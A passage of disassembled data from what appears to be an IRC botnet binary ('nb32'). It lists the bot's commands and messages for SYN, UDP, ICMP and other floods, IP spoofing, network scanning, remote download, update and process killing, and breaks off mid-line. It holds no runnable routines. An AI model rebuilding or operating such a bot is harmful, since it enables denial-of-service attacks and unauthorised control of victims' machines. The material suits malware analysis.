; 1 db 32h, 5Dh, 0Fh db 20h db 3, 31h, 35h db 41h ; A db 6Ch, 72h, 65h db 61h ; a db 64h, 79h, 20h db 3 db 31h, 32h, 25h db 64h ; d db 3, 31h, 35h aScanningThread db ' scanning threads. Too many specified.',0 align 10h dword_4208A0 dd 32310302h, 3531035Bh, 46706455h, 646F6F6Ch, 5D323103h ; DATA XREF: sub_40997B+2F3Ao dd 3103200Fh, 69614635h, 2064656Ch, 73206F74h, 74726174h dd 6F6C6620h, 7420646Fh, 61657268h, 65202C64h, 726F7272h dd 3103203Ah, 3642532h, 2E3531h dword_4208E8 dd 32310302h, 3531035Bh, 46706455h, 646F6F6Ch, 5D323103h ; DATA XREF: sub_40997B+2ECBo dd 3103200Fh, 6E655335h, 676E6964h, 32310320h, 31036425h dd 61702035h, 74656B63h, 6F742073h, 3103203Ah, 3732532h dd 202E3531h, 6B636150h, 73207465h, 3A657A69h, 32310320h dd 31036425h, 44202C35h, 79616C65h, 3103203Ah, 3642532h dd 6D283531h, 2E2973h aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_40997B+2E03o align 4 dword_42096C dd 32310302h, 3531035Bh, 676E6950h, 6F6F6C46h, 32310364h ; DATA XREF: sub_40997B+2DEEo dd 3200F5Dh, 61463531h, 64656C69h, 206F7420h, 72617473h dd 6C662074h, 20646F6Fh, 65726874h, 202C6461h, 6F727265h dd 3203A72h, 64253231h, 2E353103h, 0 dword_4209B8 dd 32310302h, 3531035Bh, 676E6950h, 6F6F6C46h, 32310364h ; DATA XREF: sub_40997B+2D7Fo dd 3200F5Dh, 65533531h, 6E69646Eh, 31032067h, 3642532h dd 70203531h, 73676E69h, 206F7420h, 25323103h, 35310373h dd 6170202Eh, 74656B63h, 7A697320h, 3203A65h, 64253231h dd 2C353103h, 6D697420h, 74756F65h, 3103203Ah, 3642532h dd 6D283531h, 2E2973h dword_420A24 dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh ; DATA XREF: sub_40997B+2CD4o dd 63694E35h, 6863206Bh, 65676E61h, 6F742064h, 327203Ah dd 73253231h, 27353103h, 2Eh dword_420A58 dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh ; DATA XREF: sub_40997B+2CB6o dd 696F4A35h, 2064656Eh, 6E616863h, 3A6C656Eh, 31032720h dd 3732532h, 2E273531h, 0 dword_420A8C dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh ; DATA XREF: sub_40997B+2C91o dd 72615035h, 20646574h, 6E616863h, 3A6C656Eh, 31032720h dd 3732532h, 2E273531h, 0 dword_420AC0 dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh ; DATA XREF: sub_40997B+2C73o dd 43524935h, 77615220h, 3103203Ah, 3732532h, 2E3531h dword_420AE8 dd 0A0D7325h, 0 ; DATA XREF: sub_40997B+2C64o dword_420AF0 dd 32310302h, 3531035Bh, 65726854h, 3736461h, 0F5D3231h ; DATA XREF: sub_40997B:loc_40C56Co dd 35310320h, 6C696146h, 74206465h, 696B206Fh, 74206C6Ch dd 61657268h, 3203A64h, 73253231h, 2E353103h, 0 dword_420B2C dd 32310302h, 3531035Bh, 65726854h, 3736461h, 0F5D3231h ; DATA XREF: sub_40997B+2BEAo dd 35310320h, 6C6C694Bh, 74206465h, 61657268h, 3203A64h dd 73253231h, 2E353103h, 0 unk_420B60 db 2 ; DATA XREF: sub_40997B:loc_40C51Eo db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 54h ; T db 68h, 72h, 65h db 61h ; a db 64h, 73h, 3 db 31h ; 1 db 32h, 5Dh, 0Fh db 20h db 3, 31h, 35h aNoActiveThread db 'No active threads found.',0 align 4 dword_420B94 dd 32310302h, 3531035Bh, 65726854h, 3736461h, 0F5D3231h ; DATA XREF: sub_40997B+2B99o dd 35310320h, 706F7453h, 3A646570h, 32310320h, 31036425h dd 68742035h, 64616572h, 2E297328h, 0 dword_420BCC dd 6C6C61h ; DATA XREF: sub_40997B+2B7Fo dword_420BD0 dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh ; DATA XREF: sub_40997B+2B72o dd 72655335h, 20726576h, 6E616863h, 20646567h, 203A6F74h dd 32310327h, 31037325h, 2E2735h dword_420C04 dd 32310302h, 3531035Bh, 636F7250h, 32310373h, 3200F5Dh ; DATA XREF: sub_40997B:loc_40C4D0o dd 61463531h, 64656C69h, 206F7420h, 6D726574h, 74616E69h dd 72702065h, 7365636Fh, 3203A73h, 73253231h, 353103h dword_420C40 dd 32310302h, 3531035Bh, 636F7250h, 32310373h, 3200F5Dh ; DATA XREF: sub_40997B+2B4Bo dd 72503531h, 7365636Fh, 696B2073h, 64656C6Ch, 3103203Ah dd 3732532h, 3531h dword_420C70 dd 32310302h, 3531035Bh, 636F7250h, 32310373h, 3200F5Dh ; DATA XREF: sub_40997B:loc_40C477o dd 61463531h, 64656C69h, 206F7420h, 6D726574h, 74616E69h dd 72702065h, 7365636Fh, 44492073h, 3103203Ah, 3732532h dd 3531h dword_420CB0 dd 32310302h, 3531035Bh, 636F7250h, 32310373h, 3200F5Dh ; DATA XREF: sub_40997B+2AF5o dd 72503531h, 7365636Fh, 696B2073h, 64656C6Ch, 3A444920h dd 32310320h, 31037325h, 35h dword_420CE4 dd 32310302h, 3531035Bh, 6C697455h, 5D323103h, 3103200Fh ; DATA XREF: sub_40997B:loc_40C400o dd 6E614335h, 746F4E20h, 6C654420h, 20657465h, 25323103h dd 73h dword_420D10 dd 32310302h, 3531035Bh, 6C697455h, 5D323103h, 3103200Fh ; DATA XREF: sub_40997B+2A7Eo dd 6C654435h, 64657465h, 31032720h, 3732532h, 2E273531h dd 0 dword_420D3C dd 32310302h, 3531035Bh, 6372694Dh, 5D323103h, 3103200Fh ; DATA XREF: sub_40997B:loc_40C3DFo dd 6D6F4335h, 646E616Dh, 6E657320h, 2E74h unk_420D60 db 2 ; DATA XREF: sub_40997B+2A5Ao db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 4Dh ; M db 69h, 72h, 63h db 3 db 31h, 32h, 5Dh db 0Fh db 20h, 3, 31h a5clientNotOpen db '5Client not open.',0 align 4 dword_420D88 dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh ; DATA XREF: sub_40997B+2A19o dd 74654735h, 74736F68h, 3103203Ah, 3732532h, 2E3531h unk_420DB0 db 2 ; DATA XREF: sub_40997B+29D7o db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 6Eh ; n db 2 dup(30h), 62h db 3 db 31h, 32h, 5Dh db 0Fh db 20h, 3, 31h a5unableToExtra db '5Unable to extract Gethost command.',0 dword_420DE8 dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh ; DATA XREF: sub_40997B+29BBo dd 74654735h, 74736F68h, 3103203Ah, 3732532h, 202C3531h dd 6D6D6F43h, 3A646E61h, 32310320h, 31037325h, 35h dword_420E24 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_40997B+298Fo dword_420E34 dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh ; DATA XREF: sub_40997B+293Ao dd 69725035h, 67736D76h, 3103203Ah, 3A732532h, 3732520h dd 2E3531h dword_420E60 dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh ; DATA XREF: sub_40997B+28DDo dd 74634135h, 3A6E6F69h, 32310320h, 203A7325h, 31037325h dd 2E35h dword_420E8C dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_40997B+28B9o dword_420E98 dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh ; DATA XREF: sub_40997B+2868o dd 63794335h, 2E656Ch dword_420EB4 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40997B+2830o ; sub_40997B+2C80o dword_420EC0 dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh ; DATA XREF: sub_40997B+2809o dd 646F4D35h, 68632065h, 65676E61h, 3103203Ah, 3732532h dd 3531h dword_420EEC dd 45444F4Dh, 0D732520h, 0Ah ; DATA XREF: sub_40997B+27FAo dword_420EF8 dd 32310302h, 3531035Bh, 6E616353h, 5D323103h, 3103200Fh ; DATA XREF: sub_40997B+27CFo dd 69614635h, 2064656Ch, 73206F74h, 74726174h, 61637320h dd 6874206Eh, 64616572h, 7265202Ch, 3A726F72h, 32310320h dd 31036425h, 2E35h dword_420F3C dd 32310302h, 3531035Bh, 6E616353h, 5D323103h, 3103200Fh ; DATA XREF: sub_40997B+2760o dd 20732535h, 74726F50h, 61635320h, 7473206Eh, 65747261h dd 6E6F2064h, 32310320h, 253A7325h, 35310364h, 74697720h dd 20612068h, 616C6564h, 666F2079h, 32310320h, 31036425h dd 65732035h, 646E6F63h, 6F662073h, 31032072h, 3642532h dd 6D203531h, 74756E69h, 75207365h, 676E6973h, 32310320h dd 31036425h, 68742035h, 64616572h, 2E73h aSequential db 'Sequential',0 ; DATA XREF: sub_40997B+2735o ; sub_40997B+329Bo align 10h aRandom db 'Random',0 ; DATA XREF: sub_40997B+272Eo ; sub_40997B+3294o align 4 unk_420FD8 db 2 ; DATA XREF: sub_40997B:loc_40BE8Do db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 53h ; S db 63h, 61h, 6Eh db 3 db 31h, 32h, 5Dh db 0Fh db 20h, 3, 31h a5failedToStart db '5Failed to start scan, no IP specified.',0 unk_421014 db 2 ; DATA XREF: sub_40997B:loc_40BD1Ao db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 53h ; S db 63h, 61h, 6Eh db 3 db 31h, 32h, 5Dh db 0Fh db 20h, 3, 31h a5failedToSta_0 db '5Failed to start scan, port is invalid.',0 unk_421050 db 2 ; DATA XREF: sub_40997B+22ADo db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 53h ; S db 63h, 61h, 6Eh db 3 db 31h, 32h, 5Dh db 0Fh db 20h, 3, 31h db 35h ; 5 db 41h, 6Ch, 72h db 65h ; e db 61h, 64h, 79h db 20h db 3, 31h, 32h db 25h ; % db 64h, 3, 31h a5ScanningThrea db '5 scanning threads. Too many specified.',0 aAdvscan db 'advscan',0 ; DATA XREF: sub_40997B+2236o aNb32_m db 'nb32.m',0 ; DATA XREF: sub_40997B+21FBo align 4 aNb32_mode db 'nb32.mode',0 ; DATA XREF: sub_40997B+21E4o align 4 aNb32_cy db 'nb32.cy',0 ; DATA XREF: sub_40997B+21CDo aNb32_cycle db 'nb32.cycle',0 ; DATA XREF: sub_40997B+21B6o align 4 aNb32_ac db 'nb32.ac',0 ; DATA XREF: sub_40997B+219Fo aNb32_action db 'nb32.action',0 ; DATA XREF: sub_40997B+2188o aNb32_pm db 'nb32.pm',0 ; DATA XREF: sub_40997B+2171o aNb32_privmsg db 'nb32.privmsg',0 ; DATA XREF: sub_40997B+215Ao align 4 aNb32_gh db 'nb32.gh',0 ; DATA XREF: sub_40997B+2131o aNb32_gethost db 'nb32.gethost',0 ; DATA XREF: sub_40997B+211Ao align 10h aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: sub_40997B+20ECo ; sub_40997B+2103o align 4 aCom_del db 'com.del',0 ; DATA XREF: sub_40997B+20D5o aCom_delete db 'com.delete',0 ; DATA XREF: sub_40997B+20BEo align 10h aCom_pkid db 'com.pkid',0 ; DATA XREF: sub_40997B+20A7o align 4 aCom_prockillid db 'com.prockillid',0 ; DATA XREF: sub_40997B+2090o align 4 aCom_kpn db 'com.kpn',0 ; DATA XREF: sub_40997B+2079o aCom_killprocna db 'com.killprocname',0 ; DATA XREF: sub_40997B+2062o align 4 aNb32_se db 'nb32.se',0 ; DATA XREF: sub_40997B+204Bo aNb32_setserve db 'nb32.setserve',0 ; DATA XREF: sub_40997B+2034o align 10h aThreads_k db 'threads.k',0 ; DATA XREF: sub_40997B+201Do align 4 aThreads_kill db 'threads.kill',0 ; DATA XREF: sub_40997B+2006o align 4 aNb32_ra db 'nb32.ra',0 ; DATA XREF: sub_40997B+1FEFo aNb32_raw db 'nb32.raw',0 ; DATA XREF: sub_40997B+1FD8o align 10h aNb32_pt db 'nb32.pt',0 ; DATA XREF: sub_40997B+1FC1o aNb32_part db 'nb32.part',0 ; DATA XREF: sub_40997B+1FAAo align 4 aNb32_j db 'nb32.j',0 ; DATA XREF: sub_40997B+1F93o align 4 aNb32_join db 'nb32.join',0 ; DATA XREF: sub_40997B+1F7Co align 4 aNb32_n db 'nb32.n',0 ; DATA XREF: sub_40997B+1F65o align 10h aNb32_nick db 'nb32.nick',0 ; DATA XREF: sub_40997B+1F4Eo align 4 aP: ; DATA XREF: sub_40997B+1F37o unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_40997B+1F20o align 4 aPingflood db 'pingflood',0 ; DATA XREF: sub_40997B+1F09o align 4 aU: ; DATA XREF: sub_40997B+1EF2o unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_40997B+1EDBo aUdpflood db 'udpflood',0 ; DATA XREF: sub_40997B+1EC4o align 4 aAs db 'as',0 ; DATA XREF: sub_40997B+1EADo align 4 aAsc db 'asc',0 ; DATA XREF: sub_40997B+1E96o dword_421220 dd 32310302h, 3531035Bh, 6E776F44h, 64616F6Ch, 5D323103h ; DATA XREF: sub_40997B+1E75o dd 3103200Fh, 69614635h, 2064656Ch, 73206F74h, 74726174h dd 61727420h, 6566736Eh, 68742072h, 64616572h, 7265202Ch dd 3A726F72h, 32310320h, 31036425h, 2E35h dword_42126C dd 32310302h, 3531035Bh, 6E776F44h, 64616F6Ch, 5D323103h ; DATA XREF: sub_40997B+1E04o dd 3103200Fh, 776F4435h, 616F6C6Eh, 676E6964h, 4C525520h dd 3103203Ah, 3732532h, 74203531h, 3203A6Fh, 73253231h dd 2E353103h, 0 unk_4212B0 db 2 ; DATA XREF: sub_40997B:loc_40B675o db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 55h ; U db 70h, 64h, 61h db 74h ; t db 65h, 3, 31h db 32h ; 2 db 5Dh, 0Fh, 20h db 3 a15botIdMustBeD db '15Bot ID must be different than current running process.',0 align 10h dword_421300 dd 32310302h, 3531035Bh, 61647055h, 31036574h, 200F5D32h ; DATA XREF: sub_40997B+1CEAo dd 46353103h, 656C6961h, 6F742064h, 61747320h, 64207472h dd 6C6E776Fh, 2064616Fh, 65726874h, 202C6461h, 6F727265h dd 3203A72h, 64253231h, 2E353103h, 0 dword_42134C dd 32310302h, 3531035Bh, 61647055h, 31036574h, 200F5D32h ; DATA XREF: sub_40997B+1C79o dd 44353103h, 6C6E776Fh, 6964616Fh, 7520676Eh, 74616470h dd 72662065h, 203A6D6Fh, 25323103h, 2E73h dword_421384 dd 73257325h, 6578652Eh, 0 ; DATA XREF: sub_40997B+1BF6o dword_421390 dd 32310302h, 3531035Bh, 6F6D6552h, 31036576h, 200F5D32h ; DATA XREF: sub_40997B+1B30o dd 52353103h, 766F6D65h, 20676E69h, 2E746F42h, 0 dword_4213B8 dd 645361h ; DATA XREF: sub_40997B+1AD0o dword_4213BC dd 706963h ; DATA XREF: sub_40997B+1AA7o aCurrentip db 'currentip',0 ; DATA XREF: sub_40997B+1A90o align 4 aUtil_fdns db 'util.fdns',0 ; DATA XREF: sub_40997B+1A79o align 4 aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: sub_40997B+1A62o align 4 unk_4213E8 db 2 ; DATA XREF: sub_40997B+1A50o db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 6Eh ; n db 2 dup(30h), 62h db 3 db 31h, 32h, 5Dh db 0Fh db 20h, 3, 31h a5loginListComp db '5Login list complete.',0 align 4 aD_S db '%d. %s',0 ; DATA XREF: sub_40997B+1A1Do ; sub_40E293+46o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_40997B:loc_40B38Bo dword_421424 dd 32310302h, 3531035Bh, 69676F4Ch, 694C206Eh, 31037473h ; DATA XREF: sub_40997B+19E8o dd 0F5D32h dword_42143C dd 3233626Eh, 6F68772Eh, 0 ; DATA XREF: sub_40997B+19CBo dword_421448 dd 2E6D6F63h, 7075h ; DATA XREF: sub_40997B+19B4o dword_421450 dd 2E6D6F63h, 69747075h, 656Dh ; DATA XREF: sub_40997B+199Do aWonk db 'wonk',0 ; DATA XREF: sub_40997B+1986o align 4 aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_40997B+196Fo align 10h dword_421470 dd 32310302h, 3531035Bh, 53796B53h, 31036E79h, 200F5D32h ; DATA XREF: sub_40997B+1962o dd 46353103h, 656C6961h, 6F742064h, 61747320h, 66207472h dd 646F6F6Ch, 72687420h, 2C646165h, 72726520h, 203A726Fh dd 25323103h, 35310364h, 2Eh dword_4214B8 dd 32310302h, 3531035Bh, 53796B53h, 31036E79h, 200F5D32h ; DATA XREF: sub_40997B+18F3o dd 46353103h, 646F6F6Ch, 3A676E69h, 32310320h, 3A732528h dd 3297325h, 66203531h, 320726Fh, 73253231h, 20353103h dd 6F636573h, 2E73646Eh, 0 aSkysyn db 'skysyn',0 ; DATA XREF: sub_40997B+185Bo align 4 aSyn db 'syn',0 ; DATA XREF: sub_40997B+1844o aSynflood db 'synflood',0 ; DATA XREF: sub_40997B+182Do align 4 dword_421518 dd 32310302h, 3531035Bh, 64736957h, 31036D6Fh, 200F5D32h ; DATA XREF: sub_40997B+17EEo dd 46353103h, 656C6961h, 6F742064h, 61747320h, 66207472h dd 646F6F6Ch, 72687420h, 2C646165h, 72726520h, 203A726Fh dd 25323103h, 35310364h, 2Eh dword_421560 dd 64736977h, 752E6D6Fh, 7064h ; DATA XREF: sub_40997B+170Fo dword_42156C dd 6E7374h ; DATA XREF: sub_40997B+16B3o aTsunami db 'tsunami',0 ; DATA XREF: sub_40997B+169Co aT3 db 't3',0 ; DATA XREF: sub_40997B+1685o align 4 aTarga3 db 'targa3',0 ; DATA XREF: sub_40997B+166Eo align 4 aIcmp db 'icmp',0 ; DATA XREF: sub_40997B+1657o align 4 aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_40997B+1640o align 4 dword_421598 dd 32310302h, 3531035Bh, 64736957h, 31036D6Fh, 200F5D32h ; DATA XREF: sub_40997B+1624o dd 53353103h, 666F6F70h, 20504920h, 20746573h, 27206F74h dd 25323103h, 35310373h, 2E27h unk_4215CC db 2 ; DATA XREF: sub_40997B+1606o db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 57h ; W db 69h, 73h, 64h db 6Fh ; o db 6Dh, 3, 31h db 32h ; 2 db 5Dh, 0Fh, 20h db 3 db 31h, 35h, 27h db 3 db 31h, 32h, 25h db 73h ; s db 3, 31h, 35h aIsAnInvalidIpA db 27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_40997B+15E2o align 4 dword_421614 dd 32310302h, 3531035Bh, 64736957h, 31036D6Fh, 200F5D32h ; DATA XREF: sub_40997B:loc_40AF0Co dd 53353103h, 666F6F70h, 20676E69h, 72727563h, 6C746E65h dd 65732079h, 6F742074h, 31032720h, 3732532h, 2E273531h dd 0 dword_421654 dd 746567h ; DATA XREF: sub_40997B:loc_40AEEEo unk_421658 db 2 ; DATA XREF: sub_40997B+153Bo db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 57h ; W db 69h, 73h, 64h db 6Fh ; o db 6Dh, 3, 31h db 32h ; 2 db 5Dh, 0Fh, 20h db 3 a15spoofingDisa db '15Spoofing disabled.',0 align 4 aOff db 'off',0 ; DATA XREF: sub_40997B+1524o aSpoof db 'spoof',0 ; DATA XREF: sub_40997B+1509o align 10h aCom_ps db 'com.ps',0 ; DATA XREF: sub_40997B+14F2o align 4 aCom_procs db 'com.procs',0 ; DATA XREF: sub_40997B+14DBo align 4 aCom_si db 'com.si',0 ; DATA XREF: sub_40997B+14C4o align 4 aCom_sysinfo db 'com.sysinfo',0 ; DATA XREF: sub_40997B+14ADo aCom_ni db 'com.ni',0 ; DATA XREF: sub_40997B+1496o align 10h aCom_netinfo db 'com.netinfo',0 ; DATA XREF: sub_40997B+147Fo aUtil_clg db 'util.clg',0 ; DATA XREF: sub_40997B+1468o align 4 aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: sub_40997B+1451o align 4 aNb32_lg db 'nb32.lg',0 ; DATA XREF: sub_40997B+143Ao aNb32_log db 'nb32.log',0 ; DATA XREF: sub_40997B+1423o align 4 aNb32_al db 'nb32.al',0 ; DATA XREF: sub_40997B+140Co aNb32_aliases db 'nb32.aliases',0 ; DATA XREF: sub_40997B+13F5o align 4 aThreads_l db 'threads.l',0 ; DATA XREF: sub_40997B+13DEo align 10h aThreads_list db 'threads.list',0 ; DATA XREF: sub_40997B+13C7o align 10h aCom_r db 'com.r',0 ; DATA XREF: sub_40997B+13B0o align 4 aCom_restart db 'com.restart',0 ; DATA XREF: sub_40997B+1399o unk_421744 db 2 ; DATA XREF: sub_40997B+1365o db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 6Eh ; n db 2 dup(30h), 62h db 3 db 31h, 32h, 5Dh db 0Fh db 20h, 3, 31h a5failedToReboo db '5Failed to reboot system.',0 align 4 unk_421774 db 2 ; DATA XREF: sub_40997B+135Eo db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 6Eh ; n db 2 dup(30h), 62h db 3 db 31h, 32h, 5Dh db 0Fh db 20h, 3, 31h a5rebootingSyst db '5Rebooting system.',0 align 4 aCom_rebewt db 'com.rebewt',0 ; DATA XREF: sub_40997B+1347o align 4 aNb32_i db 'nb32.i',0 ; DATA XREF: sub_40997B+1330o align 10h aNb32_id db 'nb32.id',0 ; DATA XREF: sub_40997B+1319o aNb32_s db 'nb32.s',0 ; DATA XREF: sub_40997B+1302o align 10h aNb32_status db 'nb32.status',0 ; DATA XREF: sub_40997B+12EBo aNb32_q db 'nb32.q',0 ; DATA XREF: sub_40997B+12D4o align 4 aNb32_quit db 'nb32.quit',0 ; DATA XREF: sub_40997B+12BDo align 10h aNb32_d db 'nb32.d',0 ; DATA XREF: sub_40997B+12A6o align 4 aNb32_disconnec db 'nb32.disconnect',0 ; DATA XREF: sub_40997B+128Fo aNb32_r db 'nb32.r',0 ; DATA XREF: sub_40997B+1278o align 10h aNb32_reconnect db 'nb32.reconnect',0 ; DATA XREF: sub_40997B+1261o align 10h aSt db 'st',0 ; DATA XREF: sub_40997B+124Ao align 4 aStats db 'stats',0 ; DATA XREF: sub_40997B+1233o align 4 dword_42181C dd 32310302h, 3531035Bh, 6E616353h, 5D323103h, 0Fh ; DATA XREF: sub_40997B+1226o aScan db 'Scan',0 ; DATA XREF: sub_40997B+1221o align 4 aScanstop db 'scanstop',0 ; DATA XREF: sub_40997B+1208o align 4 dword_421844 dd 32310302h, 3531035Bh, 75636553h, 31036572h, 0F5D32h ; DATA XREF: sub_40997B+11FBo aSecure db 'Secure',0 ; DATA XREF: sub_40997B+11F6o align 10h aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: sub_40997B+11DDo align 10h aCom_ps_off db 'com.ps.off',0 ; DATA XREF: sub_40997B+11C6o align 4 aCom_procs_off db 'com.procs.off',0 ; DATA XREF: sub_40997B+11AFo align 4 aPingstop db 'pingstop',0 ; DATA XREF: sub_40997B+1184o align 4 dword_421898 dd 32310302h, 3531035Bh, 3706455h, 0F5D3231h, 0 ; DATA XREF: sub_40997B+1177o aUdpstop db 'udpstop',0 ; DATA XREF: sub_40997B+1159o aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_40997B+112Eo align 10h aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_40997B+1103o unk_4218CC db 2 ; DATA XREF: sub_40997B+10E7o db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 44h ; D db 44h, 6Fh, 53h db 3 db 31h, 32h, 5Dh db 0Fh aAllPacketingAc db ' All packeting activity has been halted.',0 align 4 dword_421908 dd 32310302h, 3531035Bh, 64736957h, 31036D6Fh, 0F5D32h ; DATA XREF: sub_40997B+10ACo ; sub_40997B+114Co dword_42191C dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_40997B+10A7o ; sub_40997B+1147o dword_42192C dd 32310302h, 3531035Bh, 6E757354h, 3696D61h, 0F5D3231h ; DATA XREF: sub_40997B+108Eo ; sub_40997B+1121o dd 0 dword_421944 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_40997B+1089o ; sub_40997B+111Co dword_421954 dd 32310302h, 3531035Bh, 676E6950h, 6F6F6C46h, 32310364h ; DATA XREF: sub_40997B+102Eo ; sub_40997B+11A2o dd 0F5Dh dword_42196C dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40997B+1029o ; sub_40997B+119Do dword_421978 dd 32310302h, 3531035Bh, 46706455h, 646F6F6Ch, 5D323103h ; DATA XREF: sub_40997B+1010o dd 0Fh dword_421990 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40997B+100Bo ; sub_40997B+1172o aPacketstop db 'packetstop',0 ; DATA XREF: sub_40997B+FAEo align 4 dword_4219A8 dd 32310302h, 3531035Bh, 6B6E6F57h, 5D323103h, 0Fh ; DATA XREF: sub_40997B+FA1o ; sub_40997B+106Do dword_4219BC dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_40997B+F9Co ; sub_40997B+1068o aWonkstop db 'wonkstop',0 ; DATA XREF: sub_40997B+F83o align 4 dword_4219D4 dd 32310302h, 3531035Bh, 67726154h, 31033361h, 0F5D32h ; DATA XREF: sub_40997B+F76o ; sub_40997B+104Fo dword_4219E8 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_40997B+F71o ; sub_40997B+104Ao aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_40997B+F58o align 4 dword_421A04 dd 32310302h, 3531035Bh, 53796B53h, 31036E79h, 0F5D32h ; DATA XREF: sub_40997B+F4Bo ; sub_40997B+10CDo dword_421A18 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_40997B+F46o ; sub_40997B+10C8o aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_40997B+F2Do align 4 dword_421A34 dd 32310302h, 3531035Bh, 36E7953h, 0F5D3231h, 0 ; DATA XREF: sub_40997B+F23o ; sub_40997B+FEFo dword_421A48 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40997B+F1Eo ; sub_40997B+FEAo aSynstop db 'synstop',0 ; DATA XREF: sub_40997B+F05o dword_421A5C dd 32310302h, 3531035Bh, 46706354h, 646F6F6Ch, 5D323103h ; DATA XREF: sub_40997B+EFBo ; sub_40997B+FD1o dd 0Fh dword_421A74 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40997B+EF6o ; sub_40997B+FCCo dword_421A80 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_40997B+EDDo dword_421A8C dd 32310302h, 3531035Bh, 3676F4Ch, 0F5D3231h, 0 ; DATA XREF: sub_40997B+EBBo dword_421AA0 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_40997B+EB6o dword_421AAC dd 2E676F6Ch, 66666Fh ; DATA XREF: sub_40997B+E9Do dword_421AB4 dd 726576h ; DATA XREF: sub_40997B+E86o dword_421AB8 dd 3233626Eh, 7265762Eh, 6E6F6973h, 0 ; DATA XREF: sub_40997B+E6Fo dword_421AC8 dd 6F6Ch ; DATA XREF: sub_40997B+E58o dword_421ACC dd 3233626Eh, 676F6C2Eh, 74756Fh ; DATA XREF: sub_40997B+E41o dword_421AD8 dd 3233626Eh, 31642Eh ; DATA XREF: sub_40997B+E2Ao dword_421AE0 dd 3233626Eh, 3331642Eh, 0 ; DATA XREF: sub_40997B+E13o dword_421AEC dd 6E72h ; DATA XREF: sub_40997B+DFCo dword_421AF0 dd 3233626Eh, 646E722Eh, 6B63696Eh, 0 ; DATA XREF: sub_40997B+DE2o dword_421B00 dd 3336h ; DATA XREF: sub_40997B+CADo dword_421B04 dd 29h ; DATA XREF: sub_40997B+C85o dword_421B08 dd 72686324h, 28h ; DATA XREF: sub_40997B+C45o ; sub_40997B+C5Do ... dword_421B10 dd 72657324h, 726576h ; DATA XREF: sub_40997B+C38o dword_421B18 dd 646E7224h, 6B63696Eh, 0 ; DATA XREF: sub_40997B+C25o dword_421B24 dd 61686324h, 6Eh ; DATA XREF: sub_40997B+C08o dword_421B2C dd 65737524h, 72h ; DATA XREF: sub_40997B+BF5o dword_421B34 dd 656D24h ; DATA XREF: sub_40997B+BE1o dword_421B38 dd 642524h ; DATA XREF: sub_40997B+B73o dword_421B3C dd 2D642524h, 0 ; DATA XREF: sub_40997B+AB8o dword_421B44 dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh ; DATA XREF: sub_40997B+9E3o dd 65735535h, 3203A72h, 73253231h, 20353103h, 67676F6Ch dd 69206465h, 2E6Eh unk_421B74 db 2 ; DATA XREF: sub_40997B+9C6o db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 6Eh ; n db 2 dup(30h), 62h db 3 db 31h, 32h, 5Dh db 0Fh db 20h, 3, 31h a5passwordAccep db '5Password accepted.',0 unk_421B9C db 2 ; DATA XREF: sub_40997B+965o db 3, 31h, 32h db 5Bh ; [ db 3, 31h, 35h db 6Eh ; n db 2 dup(30h), 62h db 3 db 31h, 32h, 5Dh db 0Fh db 20h, 3, 31h a5failedHostAut db '5Failed host auth by: (%s!%s).',0 align 10h dword_421BD0 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: 